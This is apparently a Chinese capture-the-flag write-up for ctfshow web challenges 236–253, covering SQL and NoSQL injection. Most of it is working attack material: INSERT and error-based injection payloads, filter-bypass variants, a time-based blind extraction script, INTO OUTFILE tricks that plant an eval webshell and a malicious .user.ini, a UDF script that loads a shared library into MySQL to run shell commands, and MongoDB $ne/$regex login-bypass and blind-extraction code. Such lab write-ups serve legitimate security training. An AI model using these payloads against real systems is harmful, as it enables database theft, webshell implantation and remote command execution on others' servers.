select group_concat(c) from (select 1,2 as c,3 union select * from flag23a1)d
1

这句子查询sql中,最后多出一个字母d,因为sql要求子查询派生表也要有表名,最后那个就是表名,可以随便起

# web 236

题目提示过滤了flag,但是用上一题做法还是能做出了(没有过滤?)

# web 237 insert

在网络接口看到insert.php

237

在insert.php页面源码里可以看到接口

2371

首页的sql语句

$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
1

☝🤓唉,有钱了买两杯豆浆,喝一杯倒一杯。两个参数,想怎么玩怎么玩,类似刚才的update。同样注意单引号的闭合,value()的闭合,否则语法错误。也可以用反斜杠转义

# 爆表 flag
username=1',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=1
# 爆字段 flagass23s3
username=1',(select group_concat(column_name) from information_schema.columns where table_schema=database()))#&password=1
# 爆flag
username=1',(select group_concat(flagass23s3) from flag ))#&password=1
1
2
3
4
5
6

# web 238

过滤了空格,通过测试,%09,%0a,%0b,%0c,%0d这些都不能用,可能只有get传参能用?绕过效果都不太好/**/注释也不能用。反引号括号还挺好用

# 爆表 banlist,ctfshow_user,flagb
username=111',(select(group_concat(table_name))from(information_schema.tables)where`table_schema`=database()))#&password=2
# 爆字段 id,char,id,username,pass,id,flag,info
username=111',(select(group_concat(column_name))from(information_schema.columns)where`table_schema`=database()))#&password=2
# 爆flag
username=111',(select(group_concat(flag))from`flagb`))#&password=2
1
2
3
4
5
6

238

# web 239

过滤了or,熟悉。information库不能用了,使用innodb_table_stats

# 爆表 banlist,ctfshow_user,flagbb
username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where`database_name`=database()))#&password=1
# 爆字段(子查询套娃套不出来了)撞狗运(字段flag)
username=1',(select(group_concat(flag))from(flagbb)))#&password=1
1
2
3
4

# web 240

or,mysql都过滤了,拿不到表名了。不过,题目交代了表名相关信息Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写

用bp抓包爆破一下。准备payload:username=1',(select(group_concat(flag))from(flagbb)))#&password=1,表名就是爆破点

240

2401

回到题目界面刷新倒序,看到flag已经插入进去了

2402

# web 241 delete

在调试工具里可以看到删除逻辑的处理请求

241

在接口处尝试sleep函数,可以正常执行。用时间盲注爆出flag

import requests
import time
url='http://000bf014-0e7f-448b-ac7b-97668a2fa081.challenge.ctf.show/api/delete.php'
i=0
flag=''
while True:
    head=1
    tail=127
    i+=1
    while head<tail:
        mid=(head+tail)>>1
        payload={
        # 爆表 banlist,ctfshow_user,flag
        # "id":f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(0.05),1)"
        # 爆字段 id,flag,info
        # "id":f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{i},1))>{mid},sleep(0.05),1)"
        # 爆金币
        "id":f"if(ascii(substr((select group_concat(id,flag,info) from flag),{i},1))>{mid},sleep(0.05),1)"
        }
        t1=time.time()
        r=requests.post(url,data=payload)
        t2=time.time()
        # print(t2-t1)#调试
        if t2-t1>0.5:
            head=mid+1
        else:
            tail=mid
    if head!=1:
        flag+=chr(head)
        print(flag)
    else:
        break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

# web 242 file

还是在调试工具里看接口,会看到他通过post向/api/dump.php接口请求,把sql查询结果放入到/dump/路径下

242

经常用sql写文件的人都知道可以写木马,但是这里的查询语句已经写死了,怎么写🐎。注意:sql语句里的$filename是可控的

在菜鸟教程看下sql导出语句

2421

原来导出语句后面是可以跟指定字符的

select a,b,a+b into outfile '/tmp/result.text'
fields terminated by ',' optionally enclosed by '"'
lines terminated by '\n'
from test_table;
1
2
3
4

# 字段末尾

fields terminated by 分隔符会在导出字段末尾添加一个指定的字符或语句作为分隔符

fields terminated by '<?php phpinfo();?>'
1

# 行末尾

lines terminated by 分隔符会在导出文件的每一个行末尾添加一个指定的字符或语句作为分隔符

lines terminated by '<?php phpinfo();?>'
1

# 自选位置

optionally enclosed by '"'

通过指定的字符将字段包裹起来,比如字段a的值是123,替换文件里的a为123,这样就可以在字段值中插入php代码了。

先使用单引号闭合,把分隔符构造的语句添加到sql语句里,最后注释掉后面的内容

filename=3.php'fields terminated by '<?php phpinfo();?>'#
1

注意

sql导出数据到文件时,不存在覆盖的情况,或者说,已经存在的文件不能再写了

2422

getshell

# web 243

过滤了php。可以通过.user.ini包含文件来getshell

按照上题的做法,把php代码写到非php文件即可(linux一切皆文件),例如:

filename=1.txt'lines terminated by '<?= highlight_file(__FILE__);eval($_GET[1]);?>'#
1

.user.ini,需要考虑到,不管用lines starting by或者fields terminated by都是添加在了某个字段末尾或者某行的末尾,那么,查询到的第一行的信息,是不在控制范围的,导致.user.ini里出现他不该有的字段,这样.user.ini会出现语法错误。

在sql语句里,提供了lines starting by';',可以指定行开头,和上面的语句配合使用太完美了

用分号作为每一行的开头,把每一行都注释掉,完美的解决语法问题

在每个字段后添加.user.ini的语句构造换行%0a,换行显示到下一行

filename=.user.ini'lines starting by';'terminated by '%0aauto_prepend_file=1.txt'#
1

这题有点神奇?传了.user.ini后,先访问看会不会下载.user.ini,不会下载指定是错了没写进去。写进去了没有生效就等等,大概5分钟

提示

注意,.user.ini写错了就重开靶机吧,sql写的文件不能覆盖

# web 244

参考:【报错注入】 (opens new window)

244

提示

updatexml()函数使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax) 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

试一下updatexml()函数

爆库

2441

爆表

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
1

爆字段

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1)%23
1

爆金币

?id=1' and updatexml(1,concat(0x7e,(select flag from ctfshow_flag),0x7e),1)%23
1

2442

爆了一半,把爆出来看一下长度~ctfshow{ce2b69c3-1ca9-4609-ad6c,32位,用substr函数,把前面的截掉,看看后面的一段,感觉对不是就往前少截点

?id=1' and updatexml(1,concat(0x7e,substr((select flag from ctfshow_flag),30,20),0x7e),1)%23
1

2443

# web 245

过滤了updatexml函数,还可以用类似功能函数extractvalue

245

用法

select user,password from users where user_id=1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)));
1

这里的题目需要结合联合注入,拿去试试

2451

确实挺不错的,你们觉得怎么样。按照上题思路接着打

提示

突发奇想,既然select能用,为什么不去直接用,我去试试。失败了,正常的sql注入没有回显,所以这里需要报错回显,实现注入

# web 246

过滤了updatexml``extractvalue函数,还有基于floorgroup by报错注入

原理

原理:利用select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

本地测试

246

报错原因分析

floor(random(0)*2)结果可能为 1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值 实际测试中发现,出现报错,至少要求数据记录为 3 行,记录数超过 3 行一定会报错,2 行时是不报错的

2461

报错注入用法

select count(*),concat(floor(rand(0)*2),database())x from information_schema.character_sets group by x;
1

根据报错,测试有3个字段,因为用了group by,聚合函数count一定不能省

2462

修改后又提示返回数据大于1条

在子查询里使用limit 1,1限制返回只有1条,接着就可以正常注入了

2464

在爆字段时,如果flag字段没第一个显示出来,通过limit往前面limit 0,1,往后看limit 2,1limit 3,1,直到显示出

2465

# web 247

floor过滤了,还有类似floorceil,拿上题的payload换壳接着打

跑酷

?id=1'union select 1,count(*),concat(ceil(rand(0)*2),database() )x from information_schema.character_sets group by x;%23
1

爆字段,字段名里有一个问号,待会需要使用反引号处理

247

爆金币

2471

# web 248 UDF注入

参考:【Web248(UDF注入)】 (opens new window)

udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。

写入位置:/usr/lib/MySQL目录/plugin

用法:

create function sys_eval returns string soname 'hack.so';
select sys_eval('whoami');
1
2

不过这道题是get传值,所以有长度限制,就得分段来传。可以先生成多个文件,再通过concat拼接成完整的so文件。

参考博客:【https://www.sqlsec.com/tools/udf.html】 (opens new window)

在这个大佬博客里找到64位linux的16进制payload,赋值给脚本里的udf变量

太厉害了,膜拜大佬。sql注入漏洞变成后门/提权,突然觉得很行

import requests
url="http://2e9c2d13-5f3c-4a05-ab49-0d087d673b98.challenge.ctf.show/api/"
udf=""
udfs=[]
for i in range(0,len(udf),5000):
    udfs.append(udf[i:i+5000])
#写入多个文件中
for i in udfs:
    url1=url+f"?id=1';SELECT '{i}' into dumpfile '/tmp/"+str(udfs.index(i))+".txt'%23"
    requests.get(url1)

#合并文件生成so文件
url2=url+"?id=1';SELECT unhex(concat(load_file('/tmp/0.txt'),load_file('/tmp/1.txt'),load_file('/tmp/2.txt'),load_file('/tmp/3.txt'))) into dumpfile '/usr/lib/mariadb/plugin/hack.so'%23"
requests.get(url2)

#创建自定义函数并执行恶意命令
requests.get(url+"?id=1';create function sys_eval returns string soname 'hack.so'%23")
r=requests.get(url+"?id=1';select sys_eval('cat /f*')%23")
print(r.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

这个脚本简单跑出flag,换成其他命令,看到当前是mysql服务在运行,以及其他信息

248

# web 249 nosql

只有一句sql语句

249

Memcache缓存数据库,他在php中的用法是:

$m=new Memcache();
$m->connect($host,$port);
$m->add($key,$value[,flags,$expire_time]);
$content=$m->get($key);
$m->close();
1
2
3
4
5

php官方解释,传递一个数组,会返回服务器查询到的数组键值对

2491

传个id数组

2492

# web 250 MangoDB

补充MangoDB相关语法,因为他和一般sql字段,语法不完全相同

250

数据库操作

# 显示所有数据库
show dbs #show databases

# 创建数据库
use 库名 #如果数据库不存在,则创建数据库,否则切换到指定数据库。show dbs执行结果没有看到创建的数据库,因为数据库中刚开始没有任何数据并且是在内存中的,有了数据后就会显示出来。

# 删除数据库
db.dropDatabase() #删除当前数据库
1
2
3
4
5
6
7
8

表操作

# 显式创建集合
db.createCollection("userinfo");//创建一个名为usersinfo的集合

# 隐式创建集合
db.userinfo.insert({name:"yu22x"});//往collection2集合中添加数据来创建集合,如果集合不存在就自动创建集合。

# 查看集合
show collections;//(show tables)

# 删除集合userinfo
db.userinfo.drop();
1
2
3
4
5
6
7
8
9
10
11

条件语句

2501

看一下登录接口

2502

payload:username=admin&password[$ne]=1

登录失败,其他师傅都能正常跑吗?👀👀

# web 251

sql语句里的pretty()函数让返回结果更美观,没有什么处理作用

拿上题payload打通了

251

# web 252

再用上面payload,没有flag

252

使用正则匹配password里的flag

2521

传数组数据password[$regex]=^ctfshow{,MangDB的正则模式$regex匹配flag的开头

# web 253

拿上一题payload跑,查出数据了

253

2531

显示登录成功,但是没有返回flag,根据返回不同,当作布尔盲注题

import requests
string="abcdefghigklmnopqrstuwxyz1230456789{}_-"
flag='{'
url="http://bb485952-cee8-4b38-b2c6-f64c2005c4f3.challenge.ctf.show/api/"
while True:
    for j in string:
        data={
            "username[$ne]":1,
            "password[$regex]":f"ctfshow{flag+j}"
        }
        r=requests.post(url,data=data)
        if "\\u767b\\u9646\\u6210\\u529f" in r.text:
            sign=j
            flag+=j
            print(flag)
        else:
            pass
    if sign=='}':
        break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

end

最后一次更新于: 2024/09/24, 01:04:51